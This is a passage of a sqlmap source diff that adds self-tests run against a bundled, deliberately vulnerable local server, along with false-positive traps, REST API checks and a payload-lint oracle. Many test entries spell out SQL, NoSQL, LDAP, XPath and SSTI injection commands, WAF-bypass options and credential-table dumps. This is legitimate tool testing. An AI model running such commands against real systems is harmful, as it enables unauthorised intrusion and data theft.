if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not any(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()):
|
||||
errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original
|
||||
errMsg += "found in provided GET, POST, Cookie or header values"
|
||||
raise SqlmapGenericException(errMsg)
|
||||
@@ -473,7 +473,9 @@ def _resumeHashDBValues():
|
||||
kb.brute.columns = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_COLUMNS, True) or kb.brute.columns
|
||||
kb.chars = hashDBRetrieve(HASHDB_KEYS.KB_CHARS, True) or kb.chars
|
||||
kb.dynamicMarkings = hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, True) or kb.dynamicMarkings
|
||||
kb.xpCmdshellAvailable = hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) or kb.xpCmdshellAvailable
|
||||
# Note: the value is stored as text ("True"/"False"); coerce back to bool, otherwise a resumed
|
||||
# "False" is a truthy string and would wrongly mark xp_cmdshell as available
|
||||
kb.xpCmdshellAvailable = (hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) == str(True)) or kb.xpCmdshellAvailable
|
||||
|
||||
kb.errorChunkLength = hashDBRetrieve(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH)
|
||||
if isNumPosStrValue(kb.errorChunkLength):
|
||||
@@ -616,10 +618,11 @@ def _createFilesDir():
|
||||
Create the file directory.
|
||||
"""
|
||||
|
||||
if not any((conf.fileRead, conf.commonFiles)):
|
||||
if not any((conf.fileRead, conf.commonFiles, conf.xxe)):
|
||||
return
|
||||
|
||||
conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname
|
||||
# Note: normalize the hostname consistently with conf.outputPath / conf.dumpPath (see _createDumpDir)
|
||||
conf.filePath = paths.SQLMAP_FILES_PATH % normalizeUnicode(getUnicode(conf.hostname))
|
||||
|
||||
if not os.path.isdir(conf.filePath):
|
||||
try:
|
||||
@@ -641,7 +644,9 @@ def _createDumpDir():
|
||||
if not conf.dumpTable and not conf.dumpAll and not conf.search:
|
||||
return
|
||||
|
||||
conf.dumpPath = safeStringFormat(paths.SQLMAP_DUMP_PATH, conf.hostname)
|
||||
# Note: normalize the hostname the same way _createTargetDirs() builds conf.outputPath, so a
|
||||
# non-ASCII (IDN) target keeps its dump under the same per-host tree as the session/log/target.txt
|
||||
conf.dumpPath = safeStringFormat(paths.SQLMAP_DUMP_PATH, normalizeUnicode(getUnicode(conf.hostname)))
|
||||
|
||||
if not os.path.isdir(conf.dumpPath):
|
||||
try:
|
||||
|
||||
+482
-13
@@ -6,12 +6,15 @@ See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import doctest
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import random
|
||||
import re
|
||||
import shutil
|
||||
import socket
|
||||
import sqlite3
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
import threading
|
||||
@@ -20,65 +23,114 @@ import time
|
||||
from extra.vulnserver import vulnserver
|
||||
from lib.core.common import clearConsoleLine
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import shellExec
|
||||
from lib.core.compat import round
|
||||
from lib.core.compat import xrange
|
||||
from lib.core.convert import encodeBase64
|
||||
from lib.core.convert import getBytes
|
||||
from lib.core.convert import getText
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.data import queries
|
||||
from lib.core.patch import unisonRandom
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import RESTAPI_VERSION
|
||||
|
||||
def vulnTest():
|
||||
def vulnTest(tests=None, label="vuln"):
|
||||
"""
|
||||
Runs the testing against 'vulnserver'
|
||||
Runs the testing against 'vulnserver' (default suite, or a caller-supplied one e.g. FP_TESTS)
|
||||
"""
|
||||
|
||||
TESTS = (
|
||||
TESTS = tests if tests is not None else (
|
||||
("-h", ("to see full list of options run with '-hh'",)),
|
||||
("--dependencies", ("sqlmap requires", "third-party library")),
|
||||
("-u <url> --data=\"reflect=1\" --flush-session --wizard --disable-coloring", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")),
|
||||
("-u <url> --data=\"code=1\" --code=200 --technique=B --banner --no-cast --flush-session", ("back-end DBMS: SQLite", "banner: '3.", "~COALESCE(CAST(")),
|
||||
("-u <url> --flush-session --technique=B --banner", ("Type: boolean-based blind", "banner: '3.")), # session resume (1/2): detect + STORE the injection into the (serialized) session
|
||||
("-u <url> --technique=B --banner", ("sqlmap resumed the following injection point(s) from stored session", "Type: boolean-based blind", "banner: '3.")), # session resume (2/2): NO --flush-session, so the injection must round-trip back OUT of the serialized session and still work (guards session serialization/deserialization end-to-end)
|
||||
(u"-c <config> --flush-session --output-dir=\"<tmpdir>\" --smart --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible", "as the output directory")),
|
||||
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --titles --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'", "~with --string",)),
|
||||
("-m <multiple> --flush-session --technique=B --banner", ("/3] URL:", "back-end DBMS: SQLite", "banner: '3.")),
|
||||
("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
|
||||
("-u \"<url>&id2=1\" -p id2 -v 5 --flush-session --level=5 --text-only --test-filter=\"AND boolean-based blind - WHERE or HAVING clause (MySQL comment)\"", ("~1AND",)),
|
||||
("--list-tampers", ("between", "MySQL", "xforwardedfor")),
|
||||
("-u \"<url>&json=1\" -p id --flush-session --technique=B --banner", ("Type: boolean-based blind", "banner: '3.")), # JSON-response detection via the structure-aware oracle (no --string hint)
|
||||
("-u <url> --data=\"security_level=1\" -p id --flush-session --technique=B --banner", ("random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass: request-fingerprint dimension (a non-scanner User-Agent, applied up-front, restores detection)
|
||||
("-u <url> --data=\"security_level=2\" -p id --flush-session --technique=B --banner", ("bypassed the WAF/IPS by using tamper script", "reproduced manually with switch '--random-agent' and tamper script", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass: SQL-tamper dimension (structural substitution) on top of the non-scanner User-Agent
|
||||
("-u <url> --data=\"security_level=3\" -p id --flush-session --technique=B", ("bypassed the WAF/IPS by using tamper script", "Type: boolean-based blind")), # automatic WAF-bypass: SQL-tamper dimension at a stricter signature threshold
|
||||
("-u <url> --data=\"security_level=4\" -p id --flush-session --technique=B --banner", ("random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass against a libinjection-class WAF: tampers cannot help, only the non-scanner User-Agent does
|
||||
("-u <url> --data=\"security_level=5\" -p id --flush-session --technique=B", ("unable to automatically bypass the WAF/IPS", "does not seem to be injectable")), # automatic WAF-bypass honest bail: a libinjection-class WAF that no User-Agent or tamper can defeat
|
||||
("-u <url> -p id --flush-session --technique=B --proof", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")), # --proof: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof
|
||||
("-r <request> --flush-session -v 5 --test-skip=\"heavy\" --save=<config>", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")),
|
||||
("-c <config>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind")),
|
||||
("-l <log> --flush-session --keep-alive --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
|
||||
("-l <log> --flush-session --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
|
||||
("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
|
||||
("-u <base> --flush-session --data=\"id=1&_=Eewef6oh\" --chunked --randomize=_ --random-agent --banner", ("fetched random HTTP User-Agent header value", "Parameter: id (POST)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
|
||||
("-u <base64> -p id --base64=id --data=\"base64=true\" --flush-session --banner --technique=B", ("banner: '3.",)),
|
||||
("-u <base64> -p id --base64=id --data=\"base64=true\" --flush-session --tables --technique=U", (" users ",)),
|
||||
("-u <url> --flush-session --banner --technique=B --disable-precon --not-string \"no results\"", ("banner: '3.",)),
|
||||
("-u <url> --flush-session --encoding=gbk --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
|
||||
("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
|
||||
("-u <url> --flush-session --technique=BU --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
|
||||
("-u <base> --flush-session --technique=BU --data=\"{\\\"id\\\": 1}\" --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: UNION query", "banner: '3.")),
|
||||
("-u <base> --flush-session -H \"Foo: Bar\" -H \"Sna: Fu\" --data=\"<root><param name=\\\"id\\\" value=\\\"1*\\\"/></root>\" --union-char=1 --mobile --answers=\"smartphone=3\" --banner --smart -v 5", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
|
||||
("-u <base> --flush-session --technique=BU --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har=<tmpfile> --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: UNION query", "2 entries")),
|
||||
("-u <url> --flush-session -H \"id: 1*\" --tables -t <tmpfile>", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
|
||||
("-u <url> --flush-session --banner --invalid-logical --technique=B --predict-output --titles --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")),
|
||||
("-u <url> --flush-session --banner --invalid-logical --technique=B --titles --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")),
|
||||
("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
|
||||
("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users", ("NULL connection is supported with HEAD method", "banner: '3.", "users | 30")),
|
||||
("-u <base> --data=\"aWQ9MQ==\" --flush-session --base64=POST -v 6", ("aWQ9MTtXQUlURk9SIERFTEFZICcwOjA",)),
|
||||
("-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")),
|
||||
("-u <url> --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "27 entries", "6E616D6569736E756C6C")),
|
||||
("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 31 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")),
|
||||
("-u <url> --technique=BU --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "27 entries", "6E616D6569736E756C6C")),
|
||||
("-u <url> --technique=U --fresh-queries --force-partial --disable-json --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("LIMIT 0,1)", "nameisnull", "~using default dictionary", "dumped to HTML file")),
|
||||
("-u <url> --flush-session --technique=BU --all", ("30 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
|
||||
("-u <url> --flush-session --technique=B --keyset --dump -T users", ("using keyset (seek) pagination", "30 entries", "luther", "nameisnull")), # keyset/seek dump via the SQLite rowid cursor
|
||||
("-u <url> -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [30]", "nameisnull")),
|
||||
("-u \"<url>&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)),
|
||||
("-u \"<base>nosql?name=luther&password=x\" -p password --nosql --flush-session", ("is vulnerable to NoSQL injection", "back-end: 'MongoDB'", "NoSQL: GET parameter 'password'", "s3cr3t")), # NoSQL (MongoDB) operator-injection detection + blind regexp extraction
|
||||
("-u \"<base>graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "skipping 2 mutation slot", "GraphQL boolean-based blind", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")), # GraphQL: endpoint detection + introspection + mutation-skip + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed)
|
||||
("-u \"<base>ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP in-band data exposure", "LDAP: GET parameter 'q' in-band entries", "in-band data exposure", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing
|
||||
("-u \"<base>xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")), # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction
|
||||
("-u \"<base>ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")), # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe
|
||||
("-u \"<url>&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
|
||||
("-d \"<direct>\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")),
|
||||
("-d \"<direct>\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)),
|
||||
("-u <base>csrf --data=\"id=1&csrf_token=1\" --banner --answers=\"update=y\" --flush-session", ("back-end DBMS: SQLite", "banner: '3.")),
|
||||
("-u <base>csrf --data=\"id=1&csrf_token=1\" --banner --answers=\"update=y\" --flush-session --technique=B", ("back-end DBMS: SQLite", "banner: '3.")),
|
||||
("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")),
|
||||
)
|
||||
|
||||
# The vulnserver's XPath endpoint renders with lxml and its SSTI endpoint with jinja2; where those
|
||||
# optional third-party engines are not importable (e.g. PyPy 2.7, which has no lxml wheel), skip
|
||||
# just those entries instead of failing the whole run - the rest of the suite is unaffected.
|
||||
try:
|
||||
__import__("lxml")
|
||||
except ImportError:
|
||||
TESTS = tuple(_ for _ in TESTS if "--xpath" not in _[0])
|
||||
logger.warning("skipping the XPath vuln-test entry ('lxml' not available)")
|
||||
try:
|
||||
__import__("jinja2")
|
||||
except ImportError:
|
||||
TESTS = tuple(_ for _ in TESTS if "--ssti" not in _[0])
|
||||
logger.warning("skipping the SSTI vuln-test entry ('jinja2' not available)")
|
||||
|
||||
# --test-filter / --test-skip narrow a (slow) full run to just the entries touching a change:
|
||||
# the needle is matched case-insensitively against each entry's command line and its expected
|
||||
# checks (e.g. '--vuln-test --test-filter=ssti' runs only the SSTI entry).
|
||||
def _entryMatches(entry, needle):
|
||||
needle = needle.lower()
|
||||
return needle in entry[0].lower() or any(needle in getText(_).lower() for _ in entry[1])
|
||||
|
||||
if conf.get("testFilter"):
|
||||
TESTS = tuple(_ for _ in TESTS if _entryMatches(_, conf.testFilter))
|
||||
logger.info("'--test-filter' selected %d vuln-test entr%s" % (len(TESTS), "y" if len(TESTS) == 1 else "ies"))
|
||||
if conf.get("testSkip"):
|
||||
TESTS = tuple(_ for _ in TESTS if not _entryMatches(_, conf.testSkip))
|
||||
logger.info("'--test-skip' left %d vuln-test entr%s" % (len(TESTS), "y" if len(TESTS) == 1 else "ies"))
|
||||
|
||||
retVal = True
|
||||
count = 0
|
||||
cleanups = []
|
||||
@@ -197,6 +249,7 @@ def vulnTest():
|
||||
if "<tmpfile>" in cmd:
|
||||
handle, tmp = tempfile.mkstemp()
|
||||
os.close(handle)
|
||||
cleanups.append(tmp)
|
||||
cmd = cmd.replace("<tmpfile>", tmp)
|
||||
|
||||
os.environ["SQLMAP_UNSAFE_EVAL"] = '1'
|
||||
@@ -212,9 +265,9 @@ def vulnTest():
|
||||
|
||||
clearConsoleLine()
|
||||
if retVal:
|
||||
logger.info("vuln test final result: PASSED")
|
||||
logger.info("%s test final result: PASSED" % label)
|
||||
else:
|
||||
logger.error("vuln test final result: FAILED")
|
||||
logger.error("%s test final result: FAILED" % label)
|
||||
|
||||
for filename in cleanups:
|
||||
try:
|
||||
@@ -222,6 +275,186 @@ def vulnTest():
|
||||
except:
|
||||
pass
|
||||
|
||||
try:
|
||||
shutil.rmtree(tmpdir)
|
||||
except:
|
||||
pass
|
||||
|
||||
return retVal
|
||||
|
||||
def fpTest():
|
||||
"""
|
||||
On-demand false-positive battery ('--fp-test'): a set of deliberately NON-injectable traps that
|
||||
each bait a specific FP defense (boolean confirmation, dynamic-content removal, structure-aware
|
||||
comparison, canary/sanity gate, reflection, error-regex specificity, length and time heuristics),
|
||||
paired with real injectable twins. An A+ engine rejects every trap AND still detects every twin.
|
||||
Kept out of the default '--vuln-test' (CI budget); run explicitly against 'vulnserver'.
|
||||
"""
|
||||
|
||||
FP_TESTS = (
|
||||
# false-positive traps -> sqlmap MUST NOT flag these as injectable
|
||||
("-u \"<base>fp?trap=intcast&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # boolean confirmation / checkFalsePositives
|
||||
("-u \"<base>fp?trap=structrand&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # structure-aware comparison
|
||||
("-u \"<base>fp?trap=acceptall&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # canary / sanity gate (reads-everything-true)
|
||||
("-u \"<base>fp?trap=reflect&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # reflection handling
|
||||
("-u \"<base>fp?trap=errors&id=1\" -p id --technique=BE --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # error-regex specificity
|
||||
("-u \"<base>fp?trap=lengthrand&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # length heuristics
|
||||
("-u \"<base>fp?trap=slowrand&id=1\" -p id --technique=T --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # time-based statistical model
|
||||
# true-positive twins -> sqlmap MUST still detect real injection (the discrimination that makes it A+)
|
||||
("-u <url> -p id --technique=B --flush-session", ("identified the following injection point", "Type: boolean-based blind")),
|
||||
("-u \"<url>&json=1\" -p id --technique=B --flush-session", ("identified the following injection point",)),
|
||||
)
|
||||
|
||||
return vulnTest(tests=FP_TESTS, label="fp")
|
||||
|
||||
def apiTest():
|
||||
"""
|
||||
Runs a basic live test of the REST API: launches the server in a separate process
|
||||
('sqlmapapi.py -s') and drives the control-plane endpoints with an HTTP client - a real
|
||||
server + client round-trip, without launching an actual scan. A separate process (rather
|
||||
than an in-process thread) isolates the single-threaded server from the client's GIL and
|
||||
from sqlmap's global HTTP machinery, which otherwise makes the round-trip flaky.
|
||||
"""
|
||||
|
||||
retVal = True
|
||||
|
||||
# pick a free port the same way vulnTest() does
|
||||
while True:
|
||||
address, port = "127.0.0.1", random.randint(10000, 65535)
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
if s.connect_ex((address, port)):
|
||||
break
|
||||
else:
|
||||
time.sleep(1)
|
||||
finally:
|
||||
s.close()
|
||||
|
||||
username, password = "test", "test"
|
||||
apipath = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmapapi.py"))
|
||||
|
||||
try:
|
||||
devnull = subprocess.DEVNULL
|
||||
except AttributeError:
|
||||
devnull = open(os.devnull, "wb")
|
||||
|
||||
process = subprocess.Popen([sys.executable, apipath, "-s", "-H", address, "-p", str(port), "--username", username, "--password", password], stdout=devnull, stderr=devnull)
|
||||
|
||||
base = "http://%s:%d" % (address, port)
|
||||
|
||||
def _call(path, data=None, authorize=True):
|
||||
# NOTE: a raw socket is used deliberately instead of urllib/http.client. The host sqlmap
|
||||
# process installs a global keep-alive opener and patches http.client, which makes a
|
||||
# library client flaky against the single-threaded server; a hand-rolled HTTP/1.0 request
|
||||
# (Connection: close, read to EOF) is hermetic and immune to all of that.
|
||||
method = "POST" if data is not None else "GET"
|
||||
lines = ["%s %s HTTP/1.0" % (method, path), "Host: %s:%d" % (address, port)]
|
||||
if authorize:
|
||||
lines.append("Authorization: Basic %s" % encodeBase64("%s:%s" % (username, password), binary=False))
|
||||
body = getBytes(json.dumps(data)) if data is not None else b""
|
||||
if data is not None:
|
||||
lines.append("Content-Type: application/json")
|
||||
lines.append("Content-Length: %d" % len(body))
|
||||
lines.append("Connection: close")
|
||||
request = getBytes("\r\n".join(lines) + "\r\n\r\n") + body
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.settimeout(10)
|
||||
try:
|
||||
s.connect((address, port))
|
||||
s.sendall(request)
|
||||
raw = b""
|
||||
while True:
|
||||
chunk = s.recv(8192)
|
||||
if not chunk:
|
||||
break
|
||||
raw += chunk
|
||||
except Exception as ex:
|
||||
logger.debug("API test: request to '%s' failed (%s)" % (path, getSafeExString(ex)))
|
||||
return None, None
|
||||
finally:
|
||||
s.close()
|
||||
|
||||
head, _, payload = raw.partition(b"\r\n\r\n")
|
||||
try:
|
||||
code = int(head.split(b"\r\n")[0].split(b" ")[1])
|
||||
except (IndexError, ValueError):
|
||||
return None, None
|
||||
try:
|
||||
return code, json.loads(getText(payload))
|
||||
except ValueError:
|
||||
return code, None
|
||||
|
||||
try:
|
||||
# wait for the server process to come up (or die trying)
|
||||
for _ in xrange(200):
|
||||
if process.poll() is not None:
|
||||
logger.error("API test: server process exited prematurely (address: '%s')" % base)
|
||||
return False
|
||||
code, data = _call("/version")
|
||||
if code == 200 and data and data.get("success"):
|
||||
break
|
||||
time.sleep(0.1)
|
||||
else:
|
||||
logger.error("API test: server did not come up (address: '%s')" % base)
|
||||
return False
|
||||
|
||||
logger.info("REST API server running at '%s'..." % base)
|
||||
|
||||
results = []
|
||||
|
||||
def _check(name, condition):
|
||||
results.append((name, bool(condition)))
|
||||
if not condition:
|
||||
logger.error("API test: check '%s' FAILED" % name)
|
||||
|
||||
# GET /version - success envelope + MAJOR-only integer api_version
|
||||
code, data = _call("/version")
|
||||
_check("version", code == 200 and data and data.get("success") is True and data.get("api_version") == int(RESTAPI_VERSION.split(".")[0]) and data.get("version"))
|
||||
|
||||
# the auth hook must reject an unauthenticated request
|
||||
code, _ = _call("/version", authorize=False)
|
||||
_check("auth-401", code == 401)
|
||||
|
||||
# GET /task/new - mint a task
|
||||
code, data = _call("/task/new")
|
||||
taskid = data.get("taskid") if data else None
|
||||
_check("task-new", code == 200 and data and data.get("success") and taskid)
|
||||
|
||||
# POST /option/<taskid>/set then read it back via /get and /list (JSON round-trip + IPC)
|
||||
code, data = _call("/option/%s/set" % taskid, {"flushSession": True})
|
||||
_check("option-set", code == 200 and data and data.get("success"))
|
||||
|
||||
code, data = _call("/option/%s/get" % taskid, ["flushSession"])
|
||||
_check("option-get", data and data.get("success") and (data.get("options") or {}).get("flushSession") is True)
|
||||
|
||||
code, data = _call("/option/%s/list" % taskid)
|
||||
_check("option-list", data and data.get("success") and isinstance(data.get("options"), dict))
|
||||
|
||||
# GET /admin/list - the IP-bound listing (our client is the task's creator) must see it
|
||||
code, data = _call("/admin/list")
|
||||
_check("admin-list", data and data.get("success") and taskid in (data.get("tasks") or {}))
|
||||
|
||||
# a bogus task ID must produce a failure envelope (not a crash)
|
||||
code, data = _call("/option/%s/list" % "nonexistent")
|
||||
_check("invalid-task", data is not None and data.get("success") is False)
|
||||
|
||||
# GET /task/<taskid>/delete - tear the task down
|
||||
code, data = _call("/task/%s/delete" % taskid)
|
||||
_check("task-delete", data and data.get("success"))
|
||||
|
||||
if all(ok for _, ok in results):
|
||||
logger.info("API test final result: PASSED")
|
||||
else:
|
||||
retVal = False
|
||||
logger.error("API test final result: FAILED (%s)" % ", ".join(name for name, ok in results if not ok))
|
||||
finally:
|
||||
try:
|
||||
process.terminate()
|
||||
process.wait()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return retVal
|
||||
|
||||
def smokeTest():
|
||||
@@ -246,7 +479,7 @@ def smokeTest():
|
||||
count, length = 0, 0
|
||||
|
||||
for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
|
||||
if any(_ in root for _ in ("thirdparty", "extra", "interbase")):
|
||||
if any(_ in root for _ in ("thirdparty", "extra", "interbase", "tests")):
|
||||
continue
|
||||
|
||||
for filename in files:
|
||||
@@ -254,7 +487,7 @@ def smokeTest():
|
||||
length += 1
|
||||
|
||||
for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
|
||||
if any(_ in root for _ in ("thirdparty", "extra", "interbase")):
|
||||
if any(_ in root for _ in ("thirdparty", "extra", "interbase", "tests")):
|
||||
continue
|
||||
|
||||
for filename in files:
|
||||
@@ -314,3 +547,239 @@ def smokeTest():
|
||||
logger.error("smoke test final result: FAILED")
|
||||
|
||||
return retVal
|
||||
|
||||
def payloadLintTest():
|
||||
"""
|
||||
Offline payload-sanity coverage test.
|
||||
|
||||
For every supported back-end DBMS an emulation oracle drives the blind
|
||||
enumeration handlers (no live target), so agent.py builds the full range of
|
||||
inference payloads it would emit while dumping a schema, and each one is
|
||||
checked with lib.utils.sqllint. A planted-malformation self-check first
|
||||
proves the pipeline actually catches a defect, so the gate can never pass
|
||||
vacuously.
|
||||
"""
|
||||
|
||||
import lib.core.common as common_module
|
||||
|
||||
from lib.controller.handler import setHandler
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import Backend
|
||||
from lib.core.datatype import AttribDict
|
||||
from lib.core.datatype import InjectionDict
|
||||
from lib.core.enums import PAYLOAD
|
||||
from lib.core.enums import PLACE
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
from lib.request.connect import Connect
|
||||
from lib.utils.sqllint import checkSanity
|
||||
|
||||
unisonRandom()
|
||||
|
||||
collected = []
|
||||
guard = {"count": 0}
|
||||
CAP_PER_METHOD = 600
|
||||
|
||||
# A "consistent liar": parse the injected char comparison in whatever form the
|
||||
# dialect uses (bare int / CHAR(n) / quoted 'x') and answer so counts->'2',
|
||||
# lengths->small, names->'a'. This keeps every dialect's enumeration walking a
|
||||
# few shallow levels, exercising the payload builders without a real backend.
|
||||
def _oracle(value=None, **kwargs):
|
||||
if value is None:
|
||||
return None
|
||||
sql = agent.removePayloadDelimiters(agent.adjustLateValues(value))
|
||||
collected.append(sql)
|
||||
guard["count"] += 1
|
||||
if guard["count"] > CAP_PER_METHOD:
|
||||
raise KeyboardInterrupt
|
||||
# UNION/inband path reads the response body: hand back a page carrying the
|
||||
# delimited marker value so extraction "succeeds" and keeps producing payloads
|
||||
if kwargs.get("content"):
|
||||
start, stop, delim = kb.chars.start, kb.chars.stop, kb.chars.delimiter
|
||||
return ("x%s%s%s%s%sx" % (start, "1", delim, "1", stop), None, 200)
|
||||
upper = sql.upper()
|
||||
match = re.search(r">\s*'(.?)'", sql)
|
||||
if match:
|
||||
return True if match.group(1) == "" else (50 if "COUNT(" in upper else 97) > ord(match.group(1))
|
||||
match = re.search(r">\s*(?:N?CHAR|CHR|NCHR)\s*\(\s*(\d+)", sql, re.I)
|
||||
if match:
|
||||
return (50 if "COUNT(" in upper else 97) > int(match.group(1))
|
